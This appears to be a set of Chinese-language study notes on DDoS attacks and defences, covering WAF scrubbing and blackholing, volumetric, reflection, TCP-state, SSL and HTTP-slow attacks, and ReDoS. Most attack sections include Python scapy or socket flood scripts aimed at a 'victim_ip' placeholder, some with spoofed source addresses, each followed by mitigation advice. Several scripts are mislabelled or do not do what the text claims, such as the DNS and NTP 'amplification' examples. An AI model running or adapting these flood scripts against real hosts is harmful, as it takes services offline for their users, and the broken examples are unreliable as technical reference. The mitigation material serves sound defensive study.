DDOS学习

前置学习

类型举例

• 针对 Proxy 发起的 NTP 反射攻击
• 针对 透明代理的 RST Fin
• 针对 ttgw/tlb 的一起 NTP 反射
• 针对 ttgw dcdn IP的UdpFlood ReflectFlood InvalidFlood DNSFlood 攻击
• OCIC，DNS flood
• 包含 SynFlood UdpFlood ReflectFlood SynAckFlood InvalidFlood DNSFlood SynIllegalFlood
• NTP 反射攻击
• 视频投稿类误报
• UdpFlood
• SYN 端口扫描
• ReflectFlood
• frontier_aweme_lb_v3 ICMP FLOOD 和 RST flood

流量清洗

• 清洗条件

  当流入WAF的流量满足流量模型特征，且达到设置的清洗阈值时，会触发流量清洗。

  如以下三层净化引擎：

  • 流量分类引擎：通过 NetFlow/sFlow 协议进行实时流量采样，运用熵值分析法检测流量突变。对 SYN Flood 识别采用SYN Cookie 验证，对 DNS 反射攻击采用DNS 查询合法性验证
  • 协议合规过滤：建立 TCP 状态机跟踪机制，丢弃不符合 RFC 标准的畸形报文（如 ACK Flood 中违反序列号规则的包）。针对 HTTP Flood 实施HTTP 协议指纹识别，过滤非常规 User-Agent
  • 行为特征过滤：基于 IP 信誉库（如 Spamhaus DDoS 列表）进行源头拦截，对高频请求 IP 实施动态速率限制（Rate Limiting）。采用机器学习模型分析请求间隔时间、报文大小分布等 27 维特征

• 清洗阈值

  流量清洗的方法包括过滤攻击报文、限制流量速度、限制数据包速度等。所以，在使用DDoS基础防护时，您需要设置以下阈值：

  • BPS（Bits per Second，数据传输速率）清洗阈值：当入方向流量超过BPS清洗阈值时，会触发流量清洗。
  • PPS（Packet per Second，数据包收发速率）清洗阈值：当入方向数据包数超过PPS清洗阈值时，会触发流量清洗。

黑洞

当流入WAF的峰值带宽（清洗后的流量带宽、没有DDoS攻击行为的流量带宽）超过DDoS基础防护阈值，WAF将进入黑洞。进入黑洞后，所有访问WAF的流量（包括正常请求和攻击请求）都会被丢弃。

DDoS防御能力越大，黑洞阈值就越大，WAF被DDoS攻击导致触发黑洞的可能就越低。

CC 攻击

大流量的DDoS攻击主要是针对IP的四层攻击，而CC攻击是针对七层应用的攻击（例如HTTP GET/POST Flood）。WAF可以防御CC攻击，但对于大流量的DDoS攻击，由于需要通过足够大的带宽资源把所有流量都硬抗下来再进行清洗，只能通过DDoS防护服务来防护。

---

DDoS 攻击分类

攻击网络带宽资源

直接攻击

相比反射和放大攻击来说低效率，且容易被查到攻击源头。

UDP Flood

通过泛海量发送 UDP 数据包，目标发生大量数据包请求，从而导致网络拥塞。

攻击原理

• UDP 协议特点：UDP（User Datagram Protocol）是一种无连接协议，它不同于 TCP，UDP 在发送数据时不进行三次握手，也不保证数据的可靠性。由于UDP不需要建立连接，因此它比 TCP更适合快速发送大量数据，这也为攻击者提供了可利用的漏洞。
• 攻击方式：攻击者通常会使用被感染的计算机（例如，僵尸网络中的计算机）来发送大量的 UDP 数据包到目标服务器。由于 UDP 不验证接收端是否准备好接收数据，攻击者只需简单地将目标IP作为目的地址，向目标服务器发送大量的伪造数据包。
• 攻击目标：目标通常是那些需要处理大量网络流量的设备或服务器，如 DNS 服务器、Web 服务器等。UDP 泛洪攻击的目的就是让目标设备因处理过多无效的UDP数据包而无法响应正常用户的请求。
• 资源消耗：当目标服务器接收到大量无效的UDP数据包时，它必须对每个数据包进行处理。即使这些数据包没有实际意义（如伪造的数据包），服务器依然需要分配处理资源。大量的 UDP 数据包会占用服务器的 CPU、内存和网络带宽，最终导致资源耗尽，服务不可用。

代码示例

使用python的 scapy 库模拟

from scapy.all import *
import random

# 伪造目标IP地址
target_ip = "victim_ip"
target_port = random.randint(1024, 65535)  # 随机端口

# UDP Flood攻击
def udp_flood():
    ip = IP(dst=target_ip)
    udp = UDP(dport=target_port)
    payload = "A" * 1024  # 1 KB的数据包大小
    packet = ip/udp/payload
    send(packet, loop=1, verbose=0)

# 启动UDP flood
udp_flood()

攻击分类

攻击分为小包和大包两种方式进行：

• 小包指小于64字节的包，相同流量下单包越小，包的数量越多。
• 大包指1500字节以上的数据包（超过了MTU）一方面能有效占用传输带宽，另一方面迫使被攻击目标进行分片重组，消耗带宽和性能。

ICMP Flood

攻击者使用受控主机向被攻击目标发送大量的 ICMP/IGMP 报文，进行洪水攻击以消耗目标的带宽资源。

攻击原理

• 请求-响应机制：在标准的Ping测试中，源主机会发送一个 ICMP Echo Request 消息给目标主机，目标主机在收到请求后会回复一个 ICMP Echo Reply 消息。攻击者通过发送大量请求（Echo Request），目标主机被迫生成大量响应（Echo Reply）。如果目标设备没有做特别的防护，它将需要处理所有这些请求和响应，这就会导致目标服务器过载。
• 无连接性：与 TCP 协议不同，ICMP 协议是无连接的，攻击者可以轻松地伪造源 IP 地址，使得响应消息被发送到伪造的IP地址，从而隐匿攻击者的真实身份。
• 带宽和处理能力消耗：每个 ICMP 数据包虽然并不大，但在大量请求下，目标设备需要为每个请求产生相应的响应。这样在大流量的攻击下，目标的网络带宽和计算能力很容易被耗尽。

代码示例

使用 python 的 scapy 库

from scapy.all import *

# 伪造目标IP地址
target_ip = "victim_ip"

# ICMP Flood攻击
def icmp_flood():   # 发送ICMP回显请求（ping请求）
    ip = IP(dst=target_ip)
    icmp = ICMP()
    packet = ip/icmp
    send(packet, loop=1, verbose=0)

# 启动ICMP洪水攻击
icmp_flood()

IGMP Flood

IGMP（Internet Group Management Protocol）是一个协议，用于管理IP网络中的多播组成员。IGMP允许设备在本地网络上加入或退出多播组。多播协议通过允许一台主机向多个目的主机发送数据，从而减少网络带宽的消耗。IGMP是IP协议族的一部分，常用于流媒体视频传输、广播等应用。

攻击原理

• IGMP 查询与响应：IGMP 协议中的“查询”和“响应”机制是通过设备（如路由器）向网络中的各个主机发送查询消息，询问哪些主机需要加入多播组。设备收到查询后，会返回响应信息，表明其是否需要接收某个特定的多播数据流。
• 攻击方式：攻击者向目标设备发送大量的 IGMP 加入请求（IGMP Join请求），使得目标设备被迫处理这些请求。这些请求通常是伪造的，因此目标设备会认为这些请求是来自正常用户，从而进行响应，导致目标网络设备的带宽和处理能力消耗殆尽。
• 多播资源浪费：通常，IGMP 多播协议主要用于支持局域网中的多播流量。如果攻击者通过 Flood 的方式发送大量伪造的 IGMP 请求，目标设备的带宽会被占用，并且多播路由信息会被频繁更新，造成性能瓶颈。

代码示例

from scapy.all import *

# 伪造目标IP
target_ip = "victim_ip"

# 构建IGMP请求包
def igmp_flood():
    ip = IP(dst=target_ip)
    igmp = IGMP(type=0x16)  # 0x16表示报告类型
    packet = ip/igmp
    send(packet, loop=1, verbose=0)

# 启动IGMP洪水攻击
igmp_flood()

分类

• 大规模加入请求：攻击者向目标网络中的所有设备发送伪造的 IGMP 加入请求。这些请求可能是针对不存在的多播组的虚假请求，导致目标设备无谓地为它们分配多播资源。
• 请求泛滥：攻击者通过不断地向设备发送 “Join” 请求，使得设备的 IGMP 协议状态表被迅速填满，导致设备处理和带宽消耗达到上限。

反射和放大攻击

反射和放大攻击前需要先进行网络扫描，以获得可以反射的服务器。

攻击数据包的目的 IP 地址指向作为反射器的服务器、路由器等设施，源 IP 地址则被伪造成被攻击目标的IP地址。反射器在收到数据包时，会认为该数据包是由被攻击目标所发来的请求，因此会将响应数据发送给被攻击目标。发动反射攻击通常会使用无须认证或握手的协议，绝大多数的反射攻击都是使用基于 UDP 协议的网络服务进行的。

放大攻击 是一种反射攻击的一种特殊形式，它利用了服务的放大效应——即利用服务器将小请求放大成更大的响应，使攻击流量在放大过程中显著增大，从而导致更高的带宽消耗。通过这种方式，攻击者可以用非常小的带宽生成大量的攻击流量。

ACK 反射攻击

ACK 反射攻击通常利用 TCP 协议中的 ACK 标志位来进行攻击。攻击者伪造源 IP 地址（通常是目标 IP），然后发送带有 ACK 标志的 TCP 包到受害者的网络设备或者其他设备。当网络设备收到这些带有伪造源地址的 TCP 包时，它会尝试响应该包，向伪造的源 IP 发送数据包（也就是目标设备），从而产生不必要的流量。

前置原理

• TCP 协议简述：TCP 协议是连接导向的协议，其中包括多个标志位（如 SYN、ACK、FIN 等）。这些标志位用来表示连接的状态，如建立连接、确认数据包等。攻击者伪造一个包含 ACK 标志位的 TCP 包，试图让目标设备认为某个连接已经建立并且需要响应。
• 反射特性：由于 ACK 包在正常情况下是响应某个请求的，因此反射设备会返回 TCP 响应数据包，通常会与源 IP 的请求无关。攻击者的源 IP 被伪造成目标设备的IP，导致目标设备的带宽和计算能力被耗尽。

代码示例

使用 Python 的 scapy 库来模拟

from scapy.all import *

# 伪造的目标IP
target_ip = "victim_ip"
target_port = 80  # 通常是HTTP端口

# 伪造源IP，发送ACK包
def send_ack_attack():
    # 创建一个TCP SYN包，伪造源IP为目标IP
    ip = IP(dst=target_ip)
    tcp = TCP(sport=RandShort(), dport=target_port, flags="A")  # "A" 是ACK标志
    pkt = ip/tcp

    # 发送ACK包
    send(pkt)

# 启动攻击
send_ack_attack()

防护方式

• SYN防护：使用 TCP 协议中的 SYN 防护机制，如 SYN cookies，防止由于 ACK 请求而过度响应。
• 源地址验证：对于反射攻击，防火墙可以通过实施源地址验证来阻止伪造的源 IP 地址流量。

DNS放大攻击

DNS 放大攻击利用了 DNS 的 递归查询 机制。

利用 DNS 服务器对小请求返回大响应的特性。在这种攻击中，攻击者伪造源 IP 为目标 IP，然后发送小型 DNS 查询（通常是请求 DNS 记录）到 DNS 服务器。由于 DNS 响应的数据包比请求的数据包要大得多，因此 DNS 服务器会发送大量数据包到目标设备，造成带宽消耗。

前置原理

DNS 协议简介：DNS 是一种将域名转换为 IP 地址的协议。在正常情况下，DNS 查询返回小的响应（如对应域名的IP地址）。但是，如果攻击者向 DNS 服务器发送伪造的 DNS 查询请求，尤其是请求一些复杂的记录（如包含大量数据的 TXT 记录），则响应的数据包将显著增大。

代码示例

使用 Python 的 dnslib 库来模拟 DNS 放大攻击

import socket
import random
from dnslib import DNSRecord
from dnslib.dns import A, PTR, NXDOMAIN

# 伪造目标IP地址（目标设备）,攻击流量将会反射到这个 IP
target_ip = 'victim_ip'

# 开放的DNS服务器（可以使用一些公开的DNS服务器）
dns_server = '8.8.8.8'  # Google DNS

# 构造DNS请求
def create_dns_request():
    qname = 'example.com'  # 请求的域名
    qtype = 255  # 使用了 ANY 类型查询，这是一个常见的被用来放大流量的查询类型，它会请求更多的信息。
    query = DNSRecord.question(qname, qtype)
    return query.pack()

# 发送DNS请求到目标DNS服务器
def send_dns_request():
    # 伪造目标IP
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.sendto(create_dns_request(), (dns_server, 53))

# 触发反射攻击
send_dns_request()

防护方式

• DNS 服务器配置：防止 DNS 服务器允许源 IP 伪造，限制外部客户端请求大的 DNS 响应（如对 TXT 记录和 MX 记录进行过滤），并确保 DNS 服务器的访问控制清单（ACL）配置严格。
• 流量清洗与速率限制：对 DNS 流量进行清洗和速率限制，防止任何异常的查询流量进入 DNS 服务器。
• 禁用递归查询：限制对外部 DNS 服务器的递归查询请求，仅允许内部网络请求，防止被外部恶意利用。

NTP放大攻击

NTP（Network Time Protocol）是用于同步计算机时钟的协议。NTP 服务器通常允许查询并返回当前时间。NTP 放大攻击利用了 NTP 协议的某些特性，尤其是“monlist”命令(在新版中已被禁用）来进行攻击。

前置原理

• 在 NTP 协议的服务器实现上，通常会实现一系列 Mode 7 的调试接口，而接口中的 monlist 请求能够获取到与目标 NTP 服务器进行同步的最后 600 个客户端的 IP 地址等信息。这意味着，只需要发送一个很小的请求包，就能够触发大量连续的包含 IP 地址信息等数据的 UDP 响应数据包。
• 由于 NTP 服务使用的是 UDP 单包通信，因此攻击者可以将伪造源 IP 地址的 UDP 请求包发送给 NTP 放大器，伪造客户端与 NTP 服务器的交互，增加“和 NTP 服务器交互的客户端的数量”，以此来增加 monlist 请求的响应数据量并增大 NTP 放大器的放大倍数。只要向 NTP 放大器发送 600 个不超过 64 字节的请求包(约 40KB 数据)，就能够快速地将 NTP 放大器的放大倍数提高到 700 倍以上，并在该服务器的 NTP 服务关闭或重新启动之前一直保持这么大的放大倍数。

攻击示例

使用 ntpdc 或者某些Python脚本来模拟一个NTP放大攻击

import ntplib
from time import time

# 伪造源IP，假设目标IP为 victim_ip
victim_ip = "victim_ip"

# 使用公开的NTP服务器（例如pool.ntp.org），实际中会使用多个 NTP 服务器
ntp_server = "pool.ntp.org"

client = ntplib.NTPClient()

# 发送NTP请求到目标服务器
response = client.request(ntp_server, version=3)

# 打印响应包的大小（通常在攻击中会观察到响应包的大小大大增加）
print("NTP Response Size: ", len(str(response)))

防护方式

• 关闭 “monlist” 功能

  ：大多数NTP服务器都默认启用 “monlist” 功能，攻击者可以利用这一点进行放大攻击。管理员应禁用这个功能，或将 NTP 服务器配置为不允许外部访问。

  • 在 NTP 配置文件中禁用 monlist：restrict default noquery

• NTP 服务器配置：可以配置 NTP 服务器，只允许经过认证的客户端请求，并限制递归请求的访问范围。

SNMP放大攻击

SNMP（Simple Network Management Protocol）是一种用于管理网络设备（如路由器、交换机等）的协议。SNMP 的版本 2 和 3 通常允许网络设备响应查询请求，返回网络设备的统计信息、配置状态等。

在 SNMP 放大攻击中，攻击者利用 SNMP 协议中某些特性来放大攻击流量。SNMP 的响应数据包通常比请求包要大得多，尤其是在目标设备配置了可查询的设备信息时。攻击者可以伪造源 IP 地址，并发送 SNMP 请求到公开的 SNMP 设备，设备会将响应发送到伪造的源 IP（即目标地址）。

SNMP 放大攻击步骤

1. 攻击者伪造源IP地址，将目标设备的IP作为源IP。
2. 攻击者发送一个小的 SNMP 请求，如请求设备的系统信息（例如 GET 请求）。
3. 设备会返回大量的设备信息作为响应，攻击者将响应流量反射到目标设备。
4. 攻击者通过利用放大效应，生成大量的流量，从而导致目标带宽和计算资源耗尽。

代码示例

可以使用 Python 的pysnmp库构造一个 SNMP 请求并模拟攻击

from pysnmp.hlapi import *

target_ip = 'victim_ip'  # 目标设备的IP
community = 'public'     # 默认公共社区字符串

# 构造一个SNMP GET请求
iterator = getCmd(SnmpEngine(),
                  CommunityData(community),
                  UdpTransportTarget((target_ip, 161)),
                  ContextData(),
                  ObjectType(ObjectIdentity('SNMPv2-MIB', 'sysDescr', 0)))

# 发送请求并接收响应
errorIndication, errorStatus, errorIndex, varBinds = next(iterator)

if errorIndication:
    print(errorIndication)
else:
    for varBind in varBinds:
        print(' = '.join([str(x) for x in varBind]))

防护方式

• 禁用 SNMP 公共社区字符串：确保设备的 SNMP 公共社区字符串不公开（如 public 和 private），这些是攻击者常用的默认字符串。
• 限制 SNMP 访问：配置设备以只允许特定的源 IP 进行 SNMP 查询，拒绝未授权的访问。

攻击系统资源

攻击 TCP 连接

TCP的创建、数据传送和连接终止三个阶段都容易受到攻击。

SYN Flood - 连接建立

协议原理

TCP 连接的建立采用三次握手过程：

1. SYN：客户端发送一个带有 SYN 标志的数据包，表示请求建立连接。
2. SYN-ACK：服务器响应客户端的 SYN 请求，发送一个带有 SYN 和 ACK 标志的数据包，表示同意建立连接。
3. ACK：客户端再次发送一个带有 ACK 标志的数据包，确认连接建立。

攻击原理

在建立 TCP 连接的过程中，如果在服务器返回 SYN+ACK 报文后，客户端由于某种原因没有对其进行确认，这时服务器端就需要重传 SYN+ACK 报文，并等待客户端的确认报文，直到 TCP 连接超时。这种等待客户端确认的连接状态通常被称为半开连接。在连接超时之前，半开连接会一直保存在服务器的连接表中。

由于连接表的大小是有限的，如果在短时间内产生大量的半开连接，而这些连接又无法很快地结束，连接表就会迅速被占满，导致新的 TCP 连接无法建立。

攻击者将 SYN 报文的源 IP 地址随机伪造成其他主机的 IP 地址或不存在的 IP 地址，这样攻击目标会将应答发送给被伪造的 IP 地址，从而占用连接资源并隐藏攻击来源。

代码示例

使用 Python 的 scapy 库实现 SYN Flood 攻击

from scapy.all import *
import random

# 目标 IP 和端口
target_ip = "victim_ip"
target_port = 80

# 伪造源 IP
source_ip = "attacker_ip"

# 构造 SYN 包
def syn_flood():
    ip = IP(src=source_ip, dst=target_ip)
    syn = TCP(sport=random.randint(1024, 65535), dport=target_port, flags="S", seq=random.randint(1, 1000))
    packet = ip/syn
    send(packet, loop=1, verbose=0)

# 启动攻击
syn_flood()

防护方式

• SYN Cookies：在服务器端实现 SYN Cookies 技术，避免为每个半开连接分配资源。
• 连接队列限制：限制连接队列的大小，防止过多的半开连接占用资源。

PSH + ACK Flood - 数据传送

协议原理

在 TCP 协议中，到达目的地的报文将进入 TCP 栈的缓冲区，直到缓冲区满了，报文才被转送给接收系统，此举是为了使系统清空缓冲区的次数达到最小。

TCP 数据传输过程中，PSH（Push）标志用于指示接收方立即将数据传递给应用层，而 ACK（Acknowledgment）标志用于确认收到的数据。

在正常的 TCP 传输过程当中，如果待发送的数据将会清空发送缓冲区，那么操作系统的 TCP/IP 协议栈就会自动为该 TCP 数据包设置 PSH 标志。同样，当服务端接收到了一个设置了 PSH+ACK 标志的报文时，意味着当前数据传输已经结束，因此需要立即将这些数据递交给服务进程并清空接收缓冲区，而无须等待判断是否还会有额外的数据到达。

因此当攻击者利用受控主机向攻击目标发送大量的 PSH+ACK 数据包时，被攻击目标就会消耗大量的系统资源不断地进行接收缓冲区的清空处理，导致无法正常处理数据,从而造成拒绝服务。

单独使用PSH+ACK洪水攻击对服务器产生的影响并不十分明显，更有效的方式是SYN洪水攻击与ACK洪水攻击相结合，这样能够绕过一部分防护设备，增强攻击的效果。

代码示例

使用 Python 的 scapy 库实现的 PSH+ACK 洪水攻击

from scapy.all import *
import random

# 目标 IP 和端口
target_ip = "victim_ip"
target_port = 80

# 伪造源 IP
source_ip = "attacker_ip"

# 构造 PSH+ACK 包
def psh_ack_flood():
    ip = IP(src=source_ip, dst=target_ip)
    ps = TCP(sport=random.randint(1024, 65535), dport=target_port, flags="PA", seq=random.randint(1, 1000))
    packet = ip/ps
    send(packet, loop=1, verbose=0)

# 启动攻击
psh_ack_flood()

防护方式

• 流量分析：监控异常的 PSH+ACK 流量，及时发现并阻止。
• 速率限制：对来自单个源 IP 的 PSH+ACK 数据包进行速率限制。
• 深度包检测：分析数据包内容，识别并过滤无意义的数据包。

RST洪水攻击 - 连接中止

协议原理

TCP 连接的终止通过四次挥手过程：

1. FIN：一方发送 FIN 数据包，表示希望关闭连接
2. ACK：接收方确认收到 FIN 数据包
3. FIN：接收方发送 FIN 数据包，表示同意关闭连接
4. ACK：发送方确认收到 FIN 数据包，连接关闭

攻击原理

在 TCP 连接中，RST（Reset） 数据包用于强制关闭连接。当攻击者发送一个带有 RST 标志的数据包时，如果该数据包的序列号和目标主机的接收窗口匹配，目标主机会认为该连接已经被断开并且会关闭连接，导致拒绝服务。在伪造 RST 报文的过程中，服务端的 IP 地址和端口号是已知的，攻击者还需要设法获取客户端的 IP 地址和端口号，并且使 RST 报文的序列号处于服务器的接收窗口之内。

如果攻击者和被攻击客户端或服务器处于同一内网，这些信息可以通过欺骗和嗅探等方式获取到。但一般攻击者处在外网，在这种情况下，攻击者可以利用大量的受控主机猜测序列号和客户端端口来进行盲打，只要在数量巨大的 RST 报文中有一条与攻击目标的端口号相同，且序列号落在目标的接收窗口之中，就能够中断连接。

代码示例

在 TCP 连接中，RST（Reset） 数据包用于强制关闭连接。当攻击者发送一个带有 RST 标志的数据包时，如果该数据包的序列号和目标主机的接收窗口匹配，目标主机会认为该连接已经被断开并且会关闭连接。

from scapy.all import *
import random

# 目标 IP 和端口，攻击者需要知道目标服务器的 IP 地址和端口号。
target_ip = "victim_ip"
target_port = 80

# 假设攻击者知道目标连接的客户端 IP 和端口，实际应用时攻击者需要猜测或知道目标连接的客户端 IP 和端口号。
client_ip = "client_ip"
client_port = 12345

# 假设攻击者猜测序列号的范围（在攻击实际应用中，这部分通常通过嗅探或其他方法获取）
# 目标接收窗口通常较大，攻击者通过盲打来猜测有效的序列号
sequence_number = random.randint(1000, 5000)  # 假设猜测的序列号

# 构造伪造的 RST 包
def rst_flood_with_sequence():
    ip = IP(src=client_ip, dst=target_ip)
    # RST 包需要伪造目标的端口和序列号
    rst = TCP(sport=client_port, dport=target_port, flags="R", seq=sequence_number)
    packet = ip/rst
    send(packet, loop=1, verbose=0)

# 启动攻击
rst_flood_with_sequence()

防护方式

• TCP 连接的验证：通过加强 TCP 连接的验证来避免伪造的 RST 包。例如，验证 RST 包的源端口和源 IP 是否与连接的实际端口和 IP 匹配。
• 序列号验证：服务器可以通过对传入的 RST 包的序列号进行验证，确保它在当前连接的接收窗口内。若序列号不匹配，服务器应丢弃该 RST 包。

Sockstress慢速攻击（Sockstress Slowloris Attack）

协议原理

Sockstress 攻击是一种 慢速拒绝服务（Slow DoS） 攻击，主要针对 TCP 连接的建立和资源分配过程，尤其是在服务器端使用大量资源来处理连接时，能够使服务器进入资源枯竭的状态。Sockstress 攻击利用 TCP 协议的 半开连接 特性，攻击者通过不断发送半开连接请求来占用目标服务器的连接资源。

具体来说，Sockstress 攻击通过 慢速数据传输 来迫使目标服务器将连接保持在 半开 或 部分关闭 状态。目标服务器在等待完整的数据包时，消耗大量资源，但攻击者从不完成连接的建立或断开连接的过程。这样，攻击者可以在不生成大量流量的情况下，使目标服务器资源枯竭。

攻击原理

Sockstress 攻击通过慢速向目标服务器发送数据，持续占用服务器的连接池，导致服务器无法为新的合法用户分配资源。攻击者通过以下几种方式进行攻击：

1. 半开连接（TCP Handshake）：攻击者利用 SYN Flood 等手段向目标服务器发送连接请求，但没有响应确认（ACK）。这样，目标服务器会保持连接请求，等待响应，导致连接池被占用。
2. 缓慢发送数据：攻击者逐步向目标服务器发送数据包，而不是立即发送全部数据。目标服务器会一直等待数据的接收，这样服务器资源会被占用，无法处理其他连接。
3. 保持连接打开：攻击者通过不断发送少量数据或定时发送一些空的请求，保持连接处于打开状态，耗尽服务器的连接资源。由于目标服务器无法及时关闭这些连接，它会消耗更多资源等待数据完成。

代码示例

使用 Python 的 scapy 库实现 Sockstress 攻击示例，通过发送缓慢的数据包，保持与目标的连接持续进行

from scapy.all import *
import time
import random

# 目标 IP 和端口
target_ip = "victim_ip"
target_port = 80

# 伪造源 IP
source_ip = "attacker_ip"

# 慢速数据包发送
def slowloris_attack():
    # 每次发送的数据包大小
    payload = "A" * random.randint(10, 50)  # 每次发送 10 到 50 字节
    ip = IP(src=source_ip, dst=target_ip)
    tcp = TCP(sport=random.randint(1024, 65535), dport=target_port, flags="S", seq=random.randint(1, 1000))
    packet = ip/tcp/payload

    # 发送 SYN 请求并保持连接
    send(packet, loop=1, verbose=0)
    time.sleep(1)  # 每秒发送一个数据包，模拟慢速数据传输

# 启动攻击
slowloris_attack()

防护方式

1. 连接限制

   ：

   • 连接池限制：限制每个客户端或每个源 IP 地址的连接数，防止单个源通过大量半开连接或慢速连接占用所有资源。

2. 超时机制

   ：

   • 短时间内无数据的连接超时：可以设置服务器在一段时间内没有接收到数据时就主动关闭连接。这样，攻击者通过慢速数据传输保持连接的方式就会被切断。
   • TCP 空闲超时：设置一个空闲超时时间，当某个连接在规定时间内没有进行任何数据交换时，强制关闭该连接。

3. 流量监控与分析

   ：

   • 深度包检测（DPI）：使用深度包检测技术，分析流量中是否有异常的慢速数据包。通过检测是否有大量连接处于半开状态、是否存在大量无数据或极小数据包的流量，可以识别并拦截 Sockstress 攻击。
   • 速率限制：对来自单一源的连接进行速率限制，减少每秒钟接收到的连接请求的数量。可以有效减少攻击者利用慢速连接占用资源的机会。

攻击 SSL 连接

SSL协议加密、解密和密钥协商的过程中会消耗大量的系统资源，如果使用RSA系列的公钥密码算法，那么服务器端所要消耗的资源都会比客户端多。

在最极端的情况下，使用RSA 4096进行加解密，服务器端需要花费相当于客户端资源的25倍才能完成计算。

攻击者可以利用SSL协议消耗资源的特性进行拒绝服务攻击。

THC SSL Dos慢速攻击

在进行 SSL 数据传输之前，通信双方首先要进行 SSL 握手，协商加密算法交换加密密钥，进行身份认证。通常情况下，这样的 SSL 握手过程只需要进行一次即可， 但是在SSL协议中有一个 Renegotiation 选项，通过它可以进行密钥的重新协商以建立新的密钥。在进行 SSL 连接并握手之后，攻击者反复不断地进行密钥重新协商过程，而密钥重协商过程需要服务器投入的 CPU 资源通常比客户端多。

攻击步骤

• 客户端发起请求：攻击者向目标服务器发送 SSL/TLS 握手请求，建立一个初始连接。
• 触发重新协商：一旦连接建立，攻击者通过特意发送请求（触发 Renegotiation）来启动 SSL/TLS 重新协商过程。
• 反复协商：攻击者在没有正常完成握手的情况下，持续发送重新协商请求，迫使服务器反复进行密钥交换、加密运算等高消耗的计算操作。
• 服务器资源耗尽：由于每次协商都需要计算和加密处理，攻击者通过快速重复这种行为，将服务器的计算资源消耗殆尽，导致服务器无法处理正常请求。

代码示例

使用 python 的 ssl 与 socket 库模拟重新发起协商的过程

import socket
import ssl
import time

# 目标服务器的 IP 和端口
target_ip = 'victim_ip'
target_port = 443  # 默认 HTTPS 端口

# 攻击函数：触发 SSL/TLS 重新协商
def ssl_dos_attack():
    # 创建 SSL 上下文
    context = ssl.create_default_context() # 创建一个 SSL 上下文，确保建立安全的 SSL 连接。

    # 建立到目标服务器的基础连接。
    with socket.create_connection((target_ip, target_port)) as sock:
        # 使用 SSL 包装连接
        ssock = context.wrap_socket(sock, server_hostname=target_ip)

        # 发送初始的 HTTP 请求（可以模拟一个正常的请求）
        ssock.send(b"GET / HTTP/1.1\\r\\nHost: victim_ip\\r\\n\\r\\n")

        while True:
            # 每隔一段时间，发送重新协商请求，触发 Renegotiation。每次调用此方法都会进行一个 SSL 握手，实际上是重新协商阶段。
            ssock.do_handshake()  # 触发重新协商
            print("Triggering SSL Renegotiation...")

            # 每次发送请求后等待一小段时间，模拟攻击过程
            time.sleep(1)

# 启动攻击
ssl_dos_attack()

防护方式

• 禁用不必要的重新协商：服务器可以禁用或限制 SSL/TLS 连接中的重新协商功能。如果服务器的业务不需要频繁的重新协商，可以通过关闭此功能来减少攻击面。
• 限制重新协商的频率：设置每个连接的重新协商次数限制，防止攻击者通过频繁的重新协商请求消耗服务器资源。
• TCP连接限制：防火墙可以限制每个客户端建立的连接数，防止同一源发起大量的重新协商请求。
• SSL/TLS 会话缓存：启用 SSL/TLS 会话缓存，减少重新协商的次数。通过缓存以前的会话，服务器不需要每次都进行耗时的协商计算。

SSL Flood

攻击原理

SSL Flood 攻击利用 SSL/TLS 握手中的计算开销进行攻击。每个 SSL 握手请求都需要服务器执行大量的计算（如证书验证、加密解密等），如果攻击者向服务器发送大量握手请求，服务器将消耗大量计算资源，从而无法处理合法的请求。

攻击步骤

1. 攻击者向目标服务器发送大量的 SSL/TLS 握手请求（客户端 Hello）。
2. 目标服务器响应每个请求并开始进行证书验证和加密运算，消耗大量 CPU 资源。
3. 攻击者不完成握手过程（没有发送客户端的证书和密钥交换），导致服务器的计算资源被长时间占用。

代码示例

使用 Python 和 ssl 库的简化版本代码，模拟一个 SSL Flood 攻击，通过发送 SSL 握手请求来占用目标服务器的资源。

import socket
import ssl
import random

# 目标服务器的 IP 和端口
target_ip = 'victim_ip'
target_port = 443  # 默认 HTTPS 端口

# 发送大量的 SSL 握手请求
def ssl_flood_attack():
    context = ssl.create_default_context()
    
    # 连接到目标服务器
    with socket.create_connection((target_ip, target_port)) as sock:
        # 使用 SSL 包装连接
        ssock = context.wrap_socket(sock, server_hostname=target_ip)
        try:
            # 发送 SSL 握手请求
            ssock.send(b"GET / HTTP/1.1\\r\\nHost: victim_ip\\r\\n\\r\\n")
        except:
            pass

# 启动攻击
while True:
    ssl_flood_attack()

攻击 Web资源

HTTP 慢速攻击

HTTP慢速攻击也叫slow http attack，是一种DoS攻击的方式。由于HTTP请求底层使用TCP网络连接进行会话，因此如果中间件对会话超时时间设置不合理，并且HTTP在发送请求的时候采用慢速发HTTP请求，就会导致占用一个HTTP连接会话。如果发送大量慢速的HTTP包就会导致拒绝服务攻击DoS。

分类

• Slow headers(也称slowloris)：Web应用在处理HTTP请求之前都要先接收完所有的HTTP头部，Web服务器再没接收到2个连续的\r\n时，会认为客户端没有发送完头部，而持续的等等客户端发送数据，消耗服务器的连接和内存资源。
• Slow body (也称 Slow HTTP POST)：攻击者发送一个 HTTP POST 请求，该请求的 Content-Length 头部值很大，使得 Web 服务器或代理认为客户端要发送很大的数据。服务器会保持连接准备接收数据，但攻击客户端每次只发送很少量的数据，使该连接一直保持存活，消耗服务器的连接和内存资源。
• Slow read (也称 Slow Read attack )：客户端与服务器建立连接并发送了一个 HTTP 请求，客户端发送完整的请求给服务器端，然后一直保持这个连接，以很低的速度读取 Response ，比如很长一段时间客户端不读取任何数据，通过发送 Zero Window 到服务器，让服务器误以为客户端很忙，直到连接快超时前才读取一个字节，以消耗服务器的连接和内存资源。

数据处理过程攻击

web服务器在收到HTTP请求之后，需要检查并处理其中的数据，通过恶意构造请求数据的内容，攻击者可以显著的增加数据处理过程中的资源消耗，造成拒绝服务攻击。

正则表达式拒绝服务攻击

ReDoS，利用恶意构造的输入字符串，攻击者只需要提交相对较短的输入字符串，就可以强制正则引擎处理数亿个匹配路径，所需时间可以达到几个小时甚至几天，造成web服务器拒绝服务。

以 PHP 为例

<?php
// ReDoS 示例：这个正则表达式对特定输入会发生回溯攻击
$pattern = '/^(a|aa|aaa|aaaa)+$/'; // 复杂的正则，容易引发回溯
$input = str_repeat('a', 100000);  // 长度为100000的字符串，由'a'组成

if (preg_match($pattern, $input)) {
    echo "匹配成功";
} else {
    echo "匹配失败";
}
?>

防护方式

1. 避免使用容易引起回溯的正则表达式：避免在正则表达式中使用重复的量词（如 + 和 ``）与捕获组结合的方式，尤其是没有明确的限制条件时。
2. 优化正则表达式：将正则表达式优化为更加高效的形式，避免产生复杂的回溯过程。
